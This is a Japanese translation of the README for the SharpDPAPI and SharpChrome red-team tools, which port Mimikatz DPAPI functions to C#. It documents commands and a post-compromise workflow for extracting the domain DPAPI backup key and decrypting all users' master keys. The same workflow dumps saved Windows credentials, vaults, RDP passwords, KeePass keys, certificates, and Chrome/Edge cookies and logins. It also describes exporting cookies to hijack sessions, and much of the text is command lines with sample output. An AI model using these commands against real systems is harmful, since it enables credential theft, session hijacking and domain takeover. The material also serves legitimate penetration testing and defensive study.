
SharpDPAPI は、Mimikatz の DPAPI 機能の一部を移植した C# 実装です。
SharpDPAPIは、@gentilkiwi 氏の Mimikatz プロジェクトからのDPAPI機能の一部をC#に移植したものです。
このロジックは私が考案したものではなく、Mimikatzからの単なる移植であり、プロセスをより深く理解し、私たちのワークフローに適合するように運用化するためのものです。
SharpChrome サブプロジェクトは、@gentilkiwi 氏と @djhohnstein 氏の、特に彼の SharpChromeプロジェクト の成果を応用したものです。ただし、このバージョンのSharpChromeでは、ロックレスオープン をサポートする C# SQLライブラリ の別バージョンを使用しています。SharpChromeは、利用するSQLiteライブラリのサイズのために、SharpDPAPI内の別プロジェクトとして構築されています。
Chromeと新しいChromiumベースのEdgeブラウザの両方をSharpChromeでトリアージできます。
SharpChromeはまた、@AArnott氏の BCrypt P/Invokeコード の最小化バージョンをMITライセンスの下で使用しています。
DPAPIに詳しくない場合は、こちらの記事 を参照してください。DPAPIに関する資格情報とVaultの詳細については、Benjamin氏のこのテーマに関するwikiエントリをご確認ください。
@harmj0y がこの移植の主執筆者です。
SharpDPAPIはBSD 3-Clauseライセンスの下で提供されています。
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
ドメインコントローラのDPAPIバックアップキーを取得します。必要に応じてDCと出力ファイルを指定できます。
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
*search* コマンドは、レジストリ、ファイル、フォルダ、base64ブロブ内の潜在的なDPAPIブロブを検索します。
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
マシン/SYSTEMトリアージ:
machinemasterkeys - 到達可能なすべてのマシンマスターキーファイルをトリアージします(SYSTEMに昇格してDPAPI_SYSTEM LSAシークレットを取得します)
machinecredentials - 'machinemasterkeys'を使用し、その後マシンのCredentialファイルをトリアージします
machinevaults - 'machinemasterkeys'を使用し、その後マシンのVaultをトリアージします
machinetriage - 'machinecredentials'コマンドと'machinevaults'コマンドを実行します
ユーザートリアージ:
'masterkeys'コマンドの引数:
/target:FILE/folder - 特定のマスターキー、またはマスターキーが入ったフォルダをトリアージします(指定しない場合はローカルマスターキーをトリアージ)
/pvk:BASE64... - base64エンコードされたDPAPIドメイン秘密鍵ファイルを使用して、到達可能なユーザーマスターキーを最初に復号します
/pvk:key.pvk - DPAPIドメイン秘密鍵ファイルを使用して、到達可能なユーザーマスターキーを最初に復号します
/password:X - 平文パスワードを使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/ntlm:X - NTLMハッシュを使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/credkey:X - DPAPI credkey(ドメインまたはローカルのSHA1)を使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/rpc - ドメインコントローラに依頼してターゲットユーザーのマスターキーを復号します
/server:SERVER - リモートサーバーをトリアージします(管理者アクセスが必要)
/hashes - ユーザーマスターキーファイルの 'hashes' をJTR/Hashcat形式で出力します(復号は行いません)
引数(credentials|vaults|rdg|keepass|triage|blob|ps コマンド):
復号:
/unprotect - 'ps'、'rdg'、または'blob'コマンドでCryptUnprotectData()を強制的に使用します
/pvk:BASE64... - base64エンコードされたDPAPIドメイン秘密鍵ファイルを使用して、到達可能なユーザーマスターキーを最初に復号します
/pvk:key.pvk - DPAPIドメイン秘密鍵ファイルを使用して、到達可能なユーザーマスターキーを最初に復号します
/password:X - 平文パスワードを使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/ntlm:X - NTLMハッシュを使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/credkey:X - DPAPI credkey(ドメインまたはローカルのSHA1)を使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/rpc - ドメインコントローラに依頼してターゲットユーザーのマスターキーを復号します
GUID1:SHA1 ... - 1つ以上のGUID:SHA1マスターキーを使用して復号します
/mkfile:FILE - 1つ以上のGUID:SHA1マスターキーが記述されたファイルを使用して復号します
ターゲット指定:
/target:FILE/folder - 特定の 'Credentials'、'.rdg|RDCMan.settings'、'blob'、または 'ps' ファイルの場所、または 'Vault' フォルダをトリアージします
/server:SERVER - リモートサーバーをトリアージします(管理者アクセスが必要)
注: /pvk:KEY または /password:X と併用する必要があります
注: 'blob' または 'ps' コマンドには適用できません
証明書トリアージ:
'certificates'コマンドの引数:
/showall - インストール済み証明書に関連するものだけでなく、すべての復号された秘密鍵ファイルを表示します(デフォルト)
/machine - 証明書トリアージにローカルマシンストアを使用します
/mkfile | /target - /machineトリアージ用
[上記ユーザートリアージのすべての復号引数]
注: ほとんどの場合、ユーザーDPAPIシークレットを対象とする場合は *triage* を、SYSTEM DPAPIシークレットを対象とする場合は *machinetriage* を使用してください。
これらの機能は、自動的に実行可能な他のすべての該当機能をラップします。
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.9.0
ドメインコントローラのDPAPIバックアップキーを取得します。必要に応じてDCと出力ファイルを指定できます。
SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
'cookies'、'logins'、'statekeys' コマンドの共通引数:
復号:
/unprotect - CryptUnprotectData() を強制的に使用します(非特権実行時のデフォルト)
/pvk:BASE64... - base64エンコードされたDPAPIドメイン秘密鍵ファイルを使用して、到達可能なユーザーマスターキーを最初に復号します
/pvk:key.pvk - DPAPIドメイン秘密鍵ファイルを使用して、到達可能なユーザーマスターキーを最初に復号します
/password:X - 平文パスワードを使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/ntlm:X - NTLMハッシュを使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/prekey:X - DPAPI prekey(ドメインまたはローカルのSHA1)を使用してターゲットユーザーのマスターキーを復号します(リモートでも動作)
/rpc - ドメインコントローラに依頼してターゲットユーザーのマスターキーを復号します
GUID1:SHA1 ... - 1つ以上のGUID:SHA1マスターキーを使用して復号します
/statekey:X - 復号されたAES状態キー('statekey'コマンドから)
ターゲット指定:
/target:FILE - 特定の 'Cookies'、'Login Data'、または 'Local State' ファイルの場所をトリアージします
/target:C:\Users\X\ - 指定されたコマンドに対して特定のユーザーフォルダをトリアージします
/server:SERVER - リモートサーバーをトリアージします(管理者アクセスが必要。注: /pvk:KEY と併用する必要があります)
/browser:X - 'chrome'(デフォルト)、(Chromiumベース) 'edge'、または 'slack' をトリアージします
出力:
/format:X - 'csv'(デフォルト)または 'table' 表示
/showall - Login Dataのnullパスワードや期限切れCookiesのエントリをフィルタリングせずに表示します(デフォルトはフィルタリング)
/consoleoutfile:X - すべてのコンソール出力をディスク上のファイルに出力します
'cookies'コマンド固有の引数:
/cookie:"REGEX" - 指定された正規表現に一致するクッキー名のみを返します
/url:"REGEX" - 指定された正規表現に一致するクッキーURLのみを返します
/format:json - EditThisCookie JSONインポート形式でクッキー値を出力します。正規表現と併用するのが最適です。
/setneverexpire - 出力されたクッキーの有効期限を現在+100年に設定します(json出力用)
SharpDPAPIの目標の1つは、Benjamin氏のDPAPIの成果を私たちのワークフローに適合するように運用化することです。
ツールセットの正確な使用方法は、エンゲージメントのどのフェーズにいるかによって異なります。一般的には、「ドメインを侵害したかどうか」に分けられます。
ドメイン管理者(または同等)の特権を取得している場合、backupkey コマンド(またはMimikatz)を使用してドメインのDPAPIバックアップキーを取得できます。このドメイン秘密鍵は変更されることがなく、ドメインユーザーの任意のDPAPIマスターキーを復号できます。つまり、ドメインDPAPIバックアップキーがあれば、攻撃者は任意のドメインユーザーのマスターキーを復号し、それを用いてVault/Credentials/Chromeログイン/その他のDPAPIブロブなどを復号できます。backupkey コマンドで取得したキーは、masterkeys、credentials、vaults、rdg、または triage コマンドで使用できます。
DA特権を取得していない場合、Mimikatzのsekurlsa::dpapiコマンドを使用すると、特定のシステム上でロードされているマスターキー(ユーザーおよびSYSTEM)のDPAPIマスターキー {GUID}:SHA1 マッピングを取得できます(ヒント: キー抽出後にdpapi::cacheを実行すると、きれいなテーブルが表示されます)。これらのキーを{GUID1}:SHA1 {GUID2}:SHA1...形式に変更すると、credentials、vaults、rdg、または triage コマンドに指定できます。これにより、現在ログインしている任意のユーザーについて、システム上のすべてのCredentialファイル/Vaultをトリアージでき、ファイルごとの復号を行う必要がなくなります。
または、ターゲットユーザーのパスワード、NTLMハッシュ、またはDPAPI prekeyを、それぞれ/password:X、/ntlm:X、/prekey:Xとしてユーザーコマンドに指定することもできます。ドメインユーザーの場合、Mimikatzのsekurlsa::msv出力のdpapiフィールドを/prekeyとして使用でき、ローカルユーザーの場合はsekurlsa::msv出力のsha1フィールドを/prekeyとして使用できます。
rdg コマンドでRDG/RDCMan.settingsファイルを復号する場合、/unprotectフラグを使用すると、コマンドがパスワードを保存したユーザーコンテキストで実行されている場合に限り、CryptUnprotectData()を使用して保存されたRDPパスワードを復号できます。これはLSASSにアクセスする必要なく、_非特権_コンテキストから実行できます。このアプローチが資格情報/vaultに使用されない理由については、Benjamin氏のこちらのドキュメントを参照してください。
マシン固有のDPAPIトリアージについては、machinemasterkeys|machinecredentials|machinevaults|machinetriage コマンドがユーザーDPAPIトリアージに相当するマシン処理を実行します。昇格したコンテキスト(つまりローカル管理者権限が必要)の場合、SharpDPAPIはSYSTEM特権に昇格して「DPAPI_SYSTEM」LSAシークレットを取得し、それを用いて発見されたマシンDPAPIマスターキーを復号します。これらのキーは、マシン資格情報/vaultなどのルックアップテーブルとして使用されます。
攻撃的なDPAPIの詳細については、こちらを参照してください。
SharpChromeは、cookies と logins の復号/トリアージが可能なChrome専用のSharpDPAPI実装です。使用するSQLiteライブラリのサイズのため、SharpDPAPI内の別プロジェクトとして構築されています。
ChromeのCookies/Login DataはCRYPTPROTECT_SYSTEMなしで保存されているため、CryptUnprotectData()が再び使用可能になります。SharpChromeが非昇格コンテキストで実行される場合、現在のユーザーのログイン/クッキーをCryptUnprotectData()を使用して復号しようとします。/pvk:[BASE64|file.pvk]、{GUID}:SHA1 ルックアップテーブル、/password:X、/ntlm:X、/prekey:X、または {GUID}:SHA1 値の /mkfile:FILE を使用して値を復号することもできます。また、使用されている(若干の修正が加えられた)C# SQLライブラリはロックレスオープンをサポートしているため、Chromeを閉じたり、対象ファイルを別の場所にコピーする必要はありません。
または、ターゲットユーザーのパスワード、NTLMハッシュ、またはDPAPI prekeyを、それぞれ/password:X、/ntlm:X、/prekey:Xとしてユーザーコマンドに指定することもできます。ドメインユーザーの場合、Mimikatzのsekurlsa::msv出力のdpapiフィールドを/prekeyとして使用でき、ローカルユーザーの場合はsekurlsa::msv出力のsha1フィールドを/prekeyとして使用できます。
Chromeがバージョン80+の場合、AES状態キーが AppData\Local\Google\Chrome\User Data\Local State に保存されています - このキーはDPAPIで保護されているため、CryptUnprotectData()/pvk/マスターキールックアップテーブルを使用して復号できます。このAESキーは、新しいクッキーとログインデータエントリを保護するために使用されます。これは、/browser:edge または /browser:brave が指定された場合も同様のプロセスで、新しいChromiumベースのEdgeブラウザのトリアージに使用されます。
デフォルトでは、クッキーとログインはcsvとして表示されます。これは/format:tableでテーブル出力に、特にクッキーについては/format:jsonで変更できます。jsonオプションは、EditThisCookie Chrome拡張機能にインポートして簡単に再利用できるJSON形式でクッキーを出力します。
cookies コマンドには、/cookie:REGEX および /url:REGEX 引数もあり、指定された正規表現に一致するクッキー名またはURLのみを返すことができます。これは/format:jsonと組み合わせて、特定のサイトへのアクセスを簡単にクローンするのに便利です。
特定のcookies/logins/statekeyファイルは/target:Xで指定でき、ユーザーフォルダは/target:C:\Users\USER\で任意のトリアージコマンドに指定できます。
masterkeys コマンドは、読み取り可能なユーザーマスターキーファイルを検索し、提供されたドメインDPAPIバックアップキーを使用して復号します。マスターキー {GUID}:SHA1 マッピングのセットを返します。
/password:X を使用して、ユーザーの現在のマスターキーを復号できます。ドメイン参加マシンの場合、パスワードは平文またはNTLM形式のいずれかで指定できます。/target が/passwordと共に指定されている場合、ユーザーの完全なドメインSID /sid:X も指定する必要があります。
ドメインバックアップキーは、base64形式(/pvk:BASE64...)またはファイル形式(/pvk:key.pvk)で指定できます。
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Triage User Masterkey Files
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...
/password または /pvk が指定されていない場合、/hashes フラグを渡して、John/Hashcat形式でマスターキーのハッシュをダンプできます。このモードでは、ハッシュは {GUID}:DPAPImk の形式で出力されます。
Preferred キーも解析され、現在の優先マスターキーが強調表示されるため、古いキーの解析に労力を費やす必要がありません。
C:\Temp>SharpDPAPI.exe masterkeys /hashes
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: User DPAPI Masterkey File Triage
[*] Will dump user masterkey hashes
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] Preferred master keys:
C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
[*] User master key hashes:
{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...
/mkfile:FILE を使用、c) 提供された DPAPI ドメインバックアップキー (/pvk:BASE64... または /pvk:key.pvk) を使用してユーザーマスターキーを最初に復号(masterkeys と同様)、d) /password:X を使用してユーザーマスターキーを復号し、それをルックアップ復号テーブルとして使用します。DPAPI GUID マッピングは Mimikatz の コマンドで取得できます。特定の資格情報ファイル(または資格情報のフォルダ)は /target:FILE または /target:C:\Folder\ で指定できます。ファイルが指定された場合、{GUID}:SHA1 値が必要です。フォルダが指定された場合、a) {GUID}:SHA1 値を指定するか、b) フォルダに DPAPI マスターキーが含まれ、/pvk ドメインバックアップキーが指定されている必要があります。
管理者権限で実行すると、すべてのユーザーの資格情報ファイルが処理されます。それ以外の場合は、現在のユーザーの資格情報ファイルのみが処理されます。
ドメイン {GUID}:SHA1 マスターキーマッピングの使用:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
ドメイン DPAPI バックアップキーを使用して、発見可能なマスターキーを最初に復号する:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
vaults コマンドは、Vault を検索し、以下のいずれかで復号します:a) 渡された "{GUID}:SHA1" マスターキーを使用、b) 1 つ以上の {GUID}:SHA1 マスターキーマッピングを含む /mkfile:FILE を使用、c) 提供された DPAPI ドメインバックアップキー (/pvk:BASE64... または /pvk:key.pvk) を使用してユーザーマスターキーを最初に復号(masterkeys と同様)、d) /password:X を使用してユーザーマスターキーを復号し、それをルックアップ復号テーブルとして使用します。DPAPI GUID マッピングは Mimikatz の sekurlsa::dpapi コマンドで取得できます。
Vault フォルダ内の Policy.vpol フォルダは、提供された DPAPI キーで復号され、関連する AES 復号キーが取得されます。その後、これらのキーを使用して関連する .vcrd ファイルが復号されます。
特定の Vault フォルダは /target:C:\Folder\ で指定できます。この場合、a) {GUID}:SHA1 値を指定するか、b) フォルダに DPAPI マスターキーが含まれ、/pvk ドメインバックアップキーが指定されている必要があります。
ドメイン {GUID}:SHA1 マスターキーマッピングの使用:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
ドメイン DPAPI バックアップキーを使用して、発見可能なマスターキーを最初に復号する:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
フォルダを指定したドメイン DPAPI バックアップキーの使用(例:「オフライン」トリアージ):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
rdg コマンドは、現在のユーザー(管理者権限の場合はすべてのユーザー)の RDCMan.settings ファイルを検索し、以下のいずれかで復号します:a) 渡された "{GUID}:SHA1" マスターキーを使用、b) 1 つ以上の {GUID}:SHA1 マスターキーマッピングを含む /mkfile:FILE を使用、c) 提供された DPAPI ドメインバックアップキー (/pvk:BASE64... または /pvk:key.pvk) を使用してユーザーマスターキーを最初に復号(masterkeys と同様)、d) /password:X を使用してユーザーマスターキーを復号し、それをルックアップ復号テーブルとして使用します。DPAPI GUID マッピングは Mimikatz の sekurlsa::dpapi コマンドで取得できます。
/unprotect フラグは、CryptUnprotectData() を使用して保存された RDP パスワードを復号します。ただし、コマンドがパスワードを保存したユーザーコンテキストで実行されている場合に限ります。これは、特権のない コンテキストから、LSASS にアクセスせずに実行できます。このアプローチが資格情報/ボールトに使用されない理由については、Benjamin のこちらのドキュメントを参照してください。
特定の RDCMan.settings ファイル、.RDC ファイル(または .RDG ファイルのフォルダ)は /target:FILE または /target:C:\Folder\ で指定できます。ファイルが指定された場合、{GUID}:SHA1 値(または /unprotect)が必要です。フォルダが指定された場合、a) {GUID}:SHA1 値を指定するか、b) フォルダに DPAPI マスターキーが含まれ、/pvk ドメインバックアップキーが指定されている必要があります。
このコマンドは、RDCMan.settings ファイルと、RDCMan.settings ファイルで参照されている .RDG ファイルの両方から、保存されたパスワード情報を復号します。
/unprotect を使用して見つかったパスワードを復号する:
C:\Temp>SharpDPAPI.exe rdg /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
ドメイン {GUID}:SHA1 マスターキーマッピングの使用:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
ドメイン DPAPI バックアップキーを使用して、発見可能なマスターキーを最初に復号する:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging RDCMan.settings Files for ALL users
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
keepass コマンドは、現在のユーザー(管理者権限の場合はすべてのユーザー)の KeePass ProtectedUserKey.bin ファイルを検索し、以下のいずれかで復号します:a) 渡された "{GUID}:SHA1" マスターキーを使用、b) 1 つ以上の {GUID}:SHA1 マスターキーマッピングを含む /mkfile:FILE を使用、c) 提供された DPAPI ドメインバックアップキー (/pvk:BASE64... または /pvk:key.pvk) を使用してユーザーマスターキーを最初に復号(masterkeys と同様)、d) /password:X を使用してユーザーマスターキーを復号し、それをルックアップ復号テーブルとして使用します。DPAPI GUID マッピングは Mimikatz の sekurlsa::dpapi コマンドで取得できます。
/unprotect フラグは、CryptUnprotectData() を使用してキーバイトを復号します。ただし、コマンドがパスワードを保存したユーザーコンテキストで実行されている場合に限ります。これは、特権のない コンテキストから、LSASS にアクセスせずに実行できます。このアプローチが資格情報/ボールトに使用されない理由については、Benjamin のこちらのドキュメントを参照してください。
特定の ProtectedUserKey.bin ファイル、.RDC ファイル(または .RDG ファイルのフォルダ)は /target:FILE または /target:C:\Folder\ で指定できます。ファイルが指定された場合、{GUID}:SHA1 値(または /unprotect)が必要です。フォルダが指定された場合、a) {GUID}:SHA1 値を指定するか、b) フォルダに DPAPI マスターキーが含まれ、/pvk ドメインバックアップキーが指定されている必要があります。
復号されたキーファイルのバイトは、KeeThief の修正版 KeePass で使用できます。
/unprotect を使用して見つかったキーマテリアルを復号する:
C:\Temp> SharpDPAPI.exe keepass /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: KeePass Triage
[*] Using CryptUnprotectData() for decryption.
[*] Triaging KeePass ProtectedUserKey.bin files for current user
File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...
SharpDPAPI completed in 00:00:00.0566660
certificates コマンドは、ユーザーが暗号化した DPAPI 証明書の秘密鍵を検索し、以下のいずれかで復号します:a) 渡された "{GUID}:SHA1" マスターキーを使用、b) 1 つ以上の {GUID}:SHA1 マスターキーマッピングを含む /mkfile:FILE を使用、c) 提供された DPAPI ドメインバックアップキー (/pvk:BASE64... または /pvk:key.pvk) を使用してユーザーマスターキーを最初に復号(masterkeys と同様)、d) /password:X を使用してユーザーマスターキーを復号し、それをルックアップ復号テーブルとして使用します。DPAPI GUID マッピングは Mimikatz の sekurlsa::dpapi コマンドで取得できます。
/unprotect フラグは、CryptUnprotectData() を使用して秘密鍵を復号します。ただし、コマンドがアクセスしようとしている証明書のユーザーコンテキストで実行されている場合に限ります。これは、特権のない コンテキストから、LSASS にアクセスせずに実行できます。このアプローチが資格情報/ボールトに使用されない理由については、Benjamin のこちらのドキュメントを参照してください。
